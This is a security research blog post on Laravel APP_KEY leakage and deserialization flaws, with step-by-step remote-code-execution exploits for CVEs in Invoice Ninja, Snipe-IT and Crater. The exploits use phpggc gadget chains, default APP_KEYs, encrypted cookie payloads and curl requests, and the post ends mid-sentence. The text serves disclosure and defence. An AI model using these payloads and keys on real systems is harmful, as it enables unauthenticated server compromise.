Laravel: APP_KEY leakage analysis
- 10/07/2025 - dansIn November 2024, Mickaël Benassouli and I talked about vulnerability patterns based on Laravel encryption at Grehack. Although, each discovered vulnerability requires access to a Laravel secret: the APP_KEY, we emphasized the security risks involved and highlighted how this secret is often insecurely exposed in public projects.
The story did not stop there, we gathered a huge chunk of APP_KEY and developed a new tool to identify vulnerable patterns from a set of publicly exposed Laravel applications.
This blog post sums up our journey, from identifying vulnerabilities related to Laravel encryption to scaling this knowledge for a massive internet facing applications compromise. We will talk about the methodology we used in order to collect data over the internet as well as how we analyzed it to get the most relevant results.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
Laravel is an open-source web framework based on PHP, designed to develop web applications in a structured manner. It offers features such as database management, authentication, and the use of the classical design pattern Model View Controller, greatly facilitating team development of complex applications.
Thanks to its versatility and a very active global community, Laravel has established itself as one of the most widely used PHP frameworks. It currently has over a million publicly exposed instances on the internet1.
However, some designs in place on Laravel's internal development components pose risks, particularly regarding the use of the Encrypter2
class, which manages encryption and decryption based on the application's APP_KEY
secret.
Although critical vulnerabilities in this component have already shaken Laravel's security in the past, the root of the problem has never been truly fixed. Therefore, we will discuss three vulnerabilities in public projects identified during our research, as well as the models exploited to demonstrate that this security issue remains relevant.
Even though knowledge of this secret is necessary to exploit the vulnerabilities presented in this blog post, unfortunately, those secrets remain unchanged in many cases. This is why we will also address an analysis conducted using open sources to determine the robustness of the secrets used in publicly exposed applications on the internet.
How the APP_KEY is used in Laravel
Laravel simplifies encryption through the encrypt
function, relying on the OpenSSL library to ensure a high level of security. This function comes from the Illuminate\Encryption
package.
The packages in the Illuminate suite are modular components of the Laravel framework that provide specific functionalities, such as routing, authentication, and in this case, encryption.
Basic usage of the encrypt and decrypt functions
Laravel's encryption uses the AES-256 algorithm in CBC mode with a randomly generated initialization vector. The APP_KEY
secret is used as the secret key.
The encrypt
and decrypt
functions are loaded by default in a Laravel project, which means it is not necessary to load the module via use Illuminate\Encryption\Encrypter3
to call them.
namespace Illuminate\Encryption;
class Encrypter implements EncrypterContract, StringEncrypter
{
public function encrypt(#[\SensitiveParameter] $value, $serialize = true)
{
$iv = random_bytes(openssl_cipher_iv_length(strtolower($this->cipher)));
$value = \openssl_encrypt(
$serialize ? serialize($value) : $value,
strtolower($this->cipher), $this->key, 0, $iv, $tag
);
[...]
$iv = base64_encode($iv);
$tag = base64_encode($tag ?? '');
$mac = self::$supportedCiphers[strtolower($this->cipher)]['aead']
? '' // For AEAD-algorithms, the tag / MAC is returned by openssl_encrypt...
: $this->hash($iv, $value, $this->key);
$json = json_encode(compact('iv', 'value', 'mac', 'tag'), JSON_UNESCAPED_SLASHES);
[...]
return base64_encode($json);
}
The following code would allow a user to encrypt the string Hello World!
:
$originalData = 'Hello world!';
$encryptedData = encrypt($originalData);
The value of the variable $encryptedData
in the previous example is a base64 string containing a JSON with four values: iv
, value
, mac
, and tag
.
$ echo 'eyJpdiI6Iks0ZFloT0dZc0M5UGFnSTZNRENjMEE9PSIsInZhbHVlIjoiZTlWb1lERll4RXh3RkorY0ZadStxVE9ZcGJPdDIvRW96QkVtSHVDODY1TT0iLCJ
tYWMiOiJkYjYwYTRkMmNjMTg3NGFjOWE2ZjU0ZGRkN2JhZjkzYjVjZGIwNzI1MzBjYmI2N2I4YzU2YTliMTAxNTI3YzBiIiwidGFnIjoiIn0=' | base64 -d | jq
{
"iv": "K4dYhOGYsC9PagI6MDCc0A==",
"value": "e9VoYDFYxExwFJ+cFZu+qTOYpbOt2/EozBEmHuC865M=",
"mac": "db60a4d2cc1874ac9a6f54ddd7baf93b5cdb072530cbb67b8c56a9b101527c0b",
"tag": ""
}
iv
: A randomly generated initialization vector.value
: The value encrypted using the initialization vector and theAPP_KEY
.mac
: HMAC generated from the initialization vector and the value, using theAPP_KEY
as the secret key. This value was added to thwart padding oracle attacks.tag
: Thetag
value is only used in cases where AES is used in GCM mode.
In summary, data encrypted by Laravel is manipulated as a base64-encoded JSON containing a value encrypted in AES CBC mode using the APP_KEY
. This data is often used as an integrity validator for transmitting or storing sensitive data.
Exposure to deserialization attacks
A PHP deserialization attack exploits the unserialize
function, which converts a string into a PHP object. If an attacker can manipulate this string, they can create malicious objects that, when deserialized, execute arbitrary code or alter the application's behavior. Not all objects are necessarily exploitable; it depends on how the classes are defined and on magic methods like __wakeup()
or __destruct()
, which can be called during deserialization.
The exploitation of an unserialize
function is therefore highly dependent on the libraries loaded by the PHP project and may not necessarily be exploitable.
To determine if a framework or library contains exploitable deserialization strings, PHPGGC4, can be used. This tool, developed by Charles Fol, contains a list of affected projects and versions.
The script test-gc-compatibility.py5
, integrated into PHPGGC, allows testing the versions of a library containing usable gadgets to precisely determine if they are still usable. However, as shown in the following screenshot, Laravel contains many usable chains, even in its latest versions.

Vulnerabilities discovered during the process
We will now dive into ways to exploit weaknesses related to the decrypt7
function in Laravel environments.
namespace Illuminate\Encryption;
class Encrypter implements EncrypterContract, StringEncrypter
{
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt( $payload['value'], $this->cipher, $this->key, 0, $iv );
[...]
return $unserialize ? unserialize($decrypted) : $decrypted;
}
This function takes two parameters:
$payload
: Corresponds to the string normally encrypted by theencrypt
function.$unserialize
: A parameter that determines whether the decrypted string should be unserialized.
The issue here is straightforward: by default, a call to the decrypt
function will consider the decrypted string as serialized data.
The variable used as the decryption key in the openssl_decrypt
function is the APP_KEY
. In summary, a user in possession of this secret will be able to re-encrypt data to carry out a deserialization attack and thus compromise the server hosting the Laravel application.
In order to automate the full process, we developed an open source tool: laravel-crypto-killer8.

./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {encrypt,decrypt,bruteforce} ...
___ _ ___ _ __ _ _
(O O) (_ ) ( O_`\ ( )_ ( O) _(_ )(_ )
| | _ _ _ __ _ _ _ _ __ | | | ( (_)_ __ _ _ _ _ | ,_) _ | |/')(_)| | | | __ _ __
| | /'_` ( '__/'_` ( ) ( )/'__`\| | | | _( '__( ) ( ( '_`\| | /'_`\ | , < | || | | | /'__`( '__)
< |__ ( (_| | | ( (_| | \_/ ( ___/| | < (_( | | | (_) | (_) | |_( (_) ) < | \`\| || | | |( ___| |
<_____/`\__,_(_) `\__,_`\___/`\____(___) <_____/(_) `\__, | ,__/`\__`\___/' <__) (_(_(___(___`\____(_)
( )_| | |
`\___/(_)
This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool : @_remsio_, @Kainx42
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
options:
-h, --help show this help message and exit
subcommands:
You can use the option -h on each subcommand to get more info
{encrypt,decrypt,bruteforce}
encrypt Encrypt mode
decrypt Decrypt mode
bruteforce Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.
During 2024, we discovered 3 vulnerabilities on public project using this tool, they are each linked to a vulnerability pattern targeting Laravel ciphers and leading to remote command execution.
It has to be noted that Invoice Ninja, Snipe-IT and Crater are deployed with a default .env.example
file containing a default APP_KEY
, which is likely to be used in production.
Vulnerable decrypt function call in Invoice Ninja9 (CVE-2024-5555510)
An attacker in possession of the APP_KEY
is able to fully control a string passed on a pre-authenticated call to a decrypt
function.
Indeed, the /route/{hash}
route in the routes/web.php
file, which was loaded in any Invoice Ninja project, allowed to reach a decrypt
call:
Route::get('route/{hash}', function ($hash) {
$route = '/';
try {
$route = decrypt($hash);
}
catch (\Exception $e) {
abort(404);
}
return redirect($route);
})->middleware('throttle:404');
To generate a serialization payload designed to run the bash command id
on a Laravel based server, the phpggc tool was used.
$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==
Finally, to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. The chain generated from phpggc can be encrypted again in order to achieve remote command execution on the affected server, without prior access:
$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=
# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)
XSRF-TOKEN serialization in Snipe-IT11 (CVE-2024-4898712)
An attacker in possession of the APP_KEY
is able to fully control a string passed to an unserialize
function when a call to the decrypt($user_input)
function from the Illuminate\Encryption
package is made. This is the case for the XSRF-TOKEN
cookie when the Passport::withCookieSerialization()
option is enforced.
In order to generate a serialized payload designed to run the bash command id
on a Laravel based server, phpggc was used.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer was used. The chain generated from phpggc can be encrypted again in order to achieve remote command execution on the affected server, without prior access:
$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=
# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)
Vulnerable SESSION_DRIVER cookie in Crater13 (CVE-2024-5555614)
An attacker in possession of the APP_KEY
is able to fully control a string passed to an unserialize
function when a call to the decrypt($user_input)
function from the Illuminate\Encryption
package is made. When the SESSION_DRIVER=cookie
option is enforced in the .env
file, the session will be stored in a cookie of 40 random base64 characters containing the encrypted serialized user object.
To exploit this vulnerability, this cookie should be retrieved. In the above HTTP response, it is named DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
. It has to be noted that these cookies are delivered to any unauthenticated user:
$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be used. In the following example, the decrypt
mode was used to retrieve the DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
cookie clear text value.
$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!
Once decrypted, the cookie value should match a hash followed by a JSON object containing PHP serialized data.
An exploitation payload designed to run the bash command id
on the server was generated with phpggc. The hash value before the pipe (|
) (here ae8213eefa7b10062a52485c7dcca8a5a937cc1c
) should then be passed to the --session_cookie
option to re-encrypt a valid Laravel cookie. The output of the phpggc command should also be passed to the -v
option to encrypt the serialized payload inside a valid Laravel cookie.
$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=
The resulting value is then placed in the original cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
, along the laravel_session
cookie and both are sent to the server to achieve remote command execution.
$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)
Vulnerability summary
decrypt
It has to be noted that all the previous vulnerabilities could be exploited pre-authentication as long as the default APP_KEY
of the project was not changed by the end users themselves.
Public Laravel applications exposure
Previous public attacks based on an APP_KEY leakage
We were not the first ones to investigate this issue during 2024, as demonstrated by Androxgh0st15, one of the most recent attacks that exploited an APP_KEY
leak, which emerged in January 2024. This malware was designed to scan the internet for Laravel applications, specifically targeting misconfigured .env
files. Androxgh0st aimed to steal sensitive login data from these files, potentially allowing unauthorized access to various applications.
Upon successful credential retrieval, Androxgh0st leverages CVE-2018-15133, which is similar to the vulnerability described in Snipe-IT. This vulnerability allows attackers to gain pre authenticated remote command execution as long as they are in possession of the application's APP_KEY
, potentially leading to significant security breaches.
However, the first step of this attack was to manually leak the APP_KEY
before exploiting CVE-2018-15133. In the continuation of this blog post, we will see that several publicly exposed servers might still be vulnerable to this exploitation scenario, and that more APP_KEY
s from publicly exposed projects are already leaked.
How to identify the APP_KEY of a Laravel application
There is a pre-authenticated way to know if an APP_KEY
is valid on any Laravel application. Indeed, on a default Laravel installation, two cookies will always be set:
XSRF-TOKEN
: used as a CSRF token.laravel-session
: used as a session token to authenticate the current session. However, the prefix before session might change depending on the application name.
# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax
By default, each cookie set by Laravel is a value encrypted via the encrypt
